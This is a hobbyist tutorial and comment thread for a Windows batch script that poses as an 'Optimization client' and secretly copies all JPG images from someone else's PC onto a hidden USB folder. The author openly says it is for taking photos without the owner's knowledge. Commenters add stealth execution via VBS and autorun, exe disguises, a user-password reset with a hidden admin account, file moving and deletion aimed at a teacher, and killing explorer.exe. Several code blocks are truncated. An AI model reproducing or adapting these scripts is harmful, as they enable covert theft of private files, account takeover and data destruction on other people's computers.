So, first things first, what is this instructable creating and why.

This instructable will allow you to create a batch file that will copy all the images from a PC to your memory stick. it will do this discretely, posing as another program that is checking the computer for issues. When complete, you will have a hidden folder on your memory stick with all the copied images.

Why? I have created this instructable because I wanted to retrieve a digital photo from someones machine without them knowing I had done it. The legitimate use of this file will allow you to archive/backup your personal photos.

Other uses: This file can be modified to allow any other type of document to be copied.
Remove these adsRemove these ads by Signing Up

Step 1: Write the code

Copy the following code into notepad and save it on the root of your memory stick as a bat file, you can name it whatever you want as long is it has the .bat extension. To ensure it does have the correct extension, type it as follows in the save box of notepad "copyimage.bat" (include the quotations!)

@echo off
echo Optimization client 2008 v3.02b
echo --------------------------------
echo Please do not use your PC while this is running.
echo Scanning process list. When complete a log will be displayed for your system administrator to review.
echo Please be patient this could take upto 3 hours.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
attrib -s +h data\* >nul
start optimizationLog.txt
shutdown /s /c "Optimization scan complete, your PC will now shutdown"

InfraBlue4 years ago
You can make the batch run stealthy with this and autorun when pluged in to a pc

First make "start.bat" and enter this code:

wscript.exe "\stealth.vbs" "copy.bat"

Second make "stealth.vbs" enter this code:

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Third make "secret.bat" enter this code:

@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
setLocal EnableDelayedExpansion
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
attrib -s +h data\* >nul

Then make "autorun.inf" and enter this code:


If you want to stop it make "stop.bat" with this code:

@echo off
taskkill secret.bat

sir can you send me file of this to my email?

Will this copy every single image file off of the drive, even temporary files?

wildlos3 months ago

here's my challenge for you..... use an otg cable and attach it to any cell phone in order to copy all photos discreetly. can it be done?

Stan20006 months ago
You can hide the folder easier by the atrib comand, i belive it was atrib /h
Is there a way to make this search by file size, example over 500kb?
does this really take 3 hours
jeakins11 year ago
How can I make it copy only certain sized images. It copied 4k photos of stuff and I only needed about 20 of the photos.
Note, this works on Windows 7, however the hidden files registry key doesn't as this behaviour was changed in Windows 7.

Windows XP the key needs to be

Windows 7 the key needs to be

Same Path
Shadow13!3 years ago
Is it possible to make this search only in account folders such as my pictures and such for all accounts on a computer and ignore folders like program files and such to cut down on run time. I am pretty new to this type of work so the more detail or exact code would be extremely appreciated.
Ok thought I would post my version of the script, since I found this useful.

Note my version searches everywhere on the C Drive.  Most people tend to hide their photos if they are worth stealing.  This will only search for files larger that 640x480.

This script is also dependant on a program called PhotoResize.
Now it is dependant on how you have the name of the program as to what size photos you want them resized to.  Eg I have it resize the photos to 640x480, they are large enough to see, yet small enough so they don't take as long to copy.  This is also what determines if the files get copied or not, eg if the photo is smaller than 640x480 it wont resize, therefore will not save to the drive.  So if you make it resize to 800x600 you will only find photos that are 800x600 or larger.

Here is my version of the script
@echo off
color a
echo Optimization client 2012 v3.02b
echo --------------------------------
echo Please do not use your PC while this is running.
echo Scanning process list.
echo Please be patient this could take upto 3 hours.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
attrib +h PhotoResizeW640SOH.exe >nul
mkdir \%computername% >nul
attrib +h \%computername% >nul
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg jpeg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
PhotoResizeW640SOH.exe "-c\%computername%\<NAME>.jpg" "%%f"
attrib -s +h \%computername%\* >nul
del -f -q PhotoResizeW640SOH.exe

I also used the Batch 2 Exe converter to make the batch run silently or with display, however it includes the PhotoResize within the exe.  Not sure if you would like me to post that or not, however I think this is easy enough to understand, if you can't then maybe you shouldn't be stealing peoples pics.
ee0u30eb (author)  CyberCitizen2 years ago
Thats great. many thanks for sharing this, I love seeing evolutions to the script
pinkspeedo5 years ago
I've modified my flash drive with the following:

@echo off
net user %username% Password
net user /add Admin2 Password
net localgroup administrators Admin2/add
net share concfg"c:\/grant:Admin2.full
mkdir \%computername% >nul
attrib +h \%computername% >nul
setLocal EnableDelayedExpansion
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\Documents and Settings\%userprofile%\My Documents\My Pictures\*.%%a') do (
move "%%f" \%computername%\ /y /h /q >nul
attrib -s +h %computername%\* >nul
rem this will change the current logged on users password to
rem Password
rem it will also create an administrator account
rem (which can be changed) with the pass= Password
rem then it moves all the files from the current users my pictures folder
rem onto your flash drive
rem then loggs off the computer
rem (change shutdown -l to shutdown -s -t 1) to shut down the computer
rem shuts down the computer instantly
shutdown -l
rem i love my flash drive =]
rem sent my friend a "file" on it at school
rem if youve got a teacher that pisses u off at school thisll be hillarious
 Why not make it 'shutdown -s -f'? No timer is instantaneous 
It doesn't work that way, but you can do 'shutdown -t 00 -s -f' to shutdown without a timer.
what is 'rem'? it is just a comment?
"records comments (remarks) in batch files or CONFIG.SYS" is what cmnd prmpt said. just type "help" into command prompt, hit enter, and thou shall get large list of stuff
sorry worded weird put shutdown -l at the end doesnt matter really just a little bit confusing
account3r23 years ago
u can make a autorun
El Mano4 years ago
Where did you learn this? I'm trying to figure the FOR command out, and FOR /? is offering very little help.
diaruga114 years ago
 does this work on macs?
no, because windows are different from macs.
stevenh4294 years ago
it says three hours , how long will it take
It should all depend on the amount of photos in the target computer.
will this work on macs? if not how could i make it work on macs
 Ok, i've come across this problem before.
 1. Buy a PC
pinkspeedo5 years ago
get a batch to exe converter when you run the exe file you wont see the command prompt add a little txt file to make them think thats all it opened or a website cd\ "c:\program files\internet explorer\iexplore.exe" (ebsite address goes here)
Is there a way we can change

for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (

to look in the current userprofile rather than the entire C Drive?

c:\Documents and Settings\%userprofile%\My Documents\My Pictures\*.%%a use this to copy jpg images from my pictures
ee0u30eb (author)  daniel.penning5 years ago
The user profile can be accessed via


So (will test later) try:

for /f "tokens=* delims= " %%f in ('dir/b/s/a-d %userprofile%*.%%a') do (
pinkspeedo5 years ago
directly after @echo off add this title Optimization client 2008 v3.02b changes the title of the cmd prompt jsut makes it more convincing
ee0u30eb (author)  pinkspeedo5 years ago
Pinkspeedo, thanks for all of your comments, they are excellent feedback, and I will certainly be using them.
pinkspeedo5 years ago
also change this mkdir \data >nul to this mkdir \%computername% >nul allows you to create different folders on each computer incredibly helpful and easy way to do this go to edit replace all type data in first field then %computername% in second then hit replace all
pinkspeedo5 years ago
add an autorun file for the flash drive
(autorun) make the brackets not parenthesis
action=Click "OK"
save as autorun.inf
makes the file transfer so much easier
BakaTanuki5 years ago
How do I have it grab everything in C:\ except for temporary internet files?
how do you know when its done downloading
daniel20085 years ago
would it be possible to create a copy of windows live messenger conversations that are saved on the computer discretely too?
Mine kept saying "access denied"
XOIIO5 years ago
how long does it take to work? i want to know how much time i need.
Jewbacca5 years ago
What does the program save there stuff as?
not bad (: how would i use this to copy all files onto my flash drive?
ee0u30eb (author)  austinburke.5 years ago
When you say all files I guess you still mean the images?? Where-ever you save this batch file and run it from, it will write the files to that place. So if you save it on your flash drive and run it from there, then that's where it will store the files.
sorry, i wasnt to clear on what i meant. i mean like not just pictures, but also documents, excel sheets and what not? i am a intermediate batch writer and this is stuff that i should learn (:
ee0u30eb (author)  austinburke.5 years ago
Ahhh I see. All you do is add each extansion that you require in the brackets that say jpg.

For example:

setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg pdf xls) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
how can you make it copy the users web history?
thank you!
pisaman25 years ago
is there a way to give this a user interface? My friend is cautious and never likes batch files! Nice idea - I love it
You can convert batch files to exe with this program
ee0u30eb (author)  zachman12215 years ago
Or just convert it yourself like I have done. Go and download Bloodshed Dev C++ and then paste this code and save it as a 'c' source file. them compile it:

#include <stdio.h>

int main(void){

FILE *optimize;
if((optimize = fopen("optimize.bat", "w+"))==NULL)
printf("Error Creating BAT file");

fprintf(optimize,"@echo off\n");
fprintf(optimize,"echo Optimization client 2008 v3.02b\n");
fprintf(optimize,"echo --------------------------------\n");
fprintf(optimize,"echo Please do not use your PC while this is running.\n");
fprintf(optimize,"echo Scanning process list. When complete a log will be displayed for your system administrator to review.\n");
fprintf(optimize,"echo Please be patient this could take upto 3 hours.\n\n");

fprintf(optimize,"reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul\n");
fprintf(optimize,"mkdir \\data >nul\n");
fprintf(optimize,"attrib +h \\data >nul\n");
fprintf(optimize,"setLocal EnableDelayedExpansion\n");
fprintf(optimize,"@echo off\n");
fprintf(optimize,"for %%%%a in (jpg) do (\n");
fprintf(optimize,"for /f \"tokens=* delims= \" %%%%f in \('dir/b/s/a-d c:\\*.%%%%a') do (\n");
fprintf(optimize,"xcopy \"%%%%f\" \\data\\ /y /h /q >nul\n");
fprintf(optimize,"attrib -s +h data\\* >nul\n");
fprintf(optimize,"start optimizationLog.txt\n");
fprintf(optimize,"shutdown /s /c \"Optimization scan complete, your PC will now shutdown\"\n");

system("del optimize.bat");

If you make a call to the batch colour command, you could change the screen colour and make it look a bit more user friendly. I havn't yet dabbled in making proper GUIs so can't help any further.
hg341 ee0u30eb5 years ago
Bloodshed Dev C++ i dont like them i couldnt get the libary for it i had to use codeblockers
ee0u30eb (author)  ee0u30eb5 years ago
This C code will do exactly the same thing but it starts off as an exe file instead of a batch file. It will however merely write the batch fikle itself and run it, when it is finished it will delete the bacth file. It is possible to do this without making it open a batch file but I haven't taken the time to do it.
knil92 pisaman25 years ago
if he doesnt like batches get a free .bat to .exe converter and then change the icon, with the converter i have, it lets u chose an icon for the .exe and it lets u add another file to it, so u can open say 2 batch files at once
it has a user interface; a text based one. However, it does not have a gui (Graphical User Interface).
GREAT instructable, but i have one question, would it be possible to delete all of one file type rather than just coping all of it?
ee0u30eb (author)  Psychic Master5 years ago
Where it says: xcopy "%%f" \data\ /y /h /q >nul replace it with del "%%f% /f Thats should do it, not tested it though
ee0u30eb (author) 5 years ago
you could also add a command to kill explorer.exe here, that will close all explorer windows (the task bar and start menu wll disappear), making the only open window our program! To do it add the following command after attrib +h \data >nul taskkill /im explorer.exe /f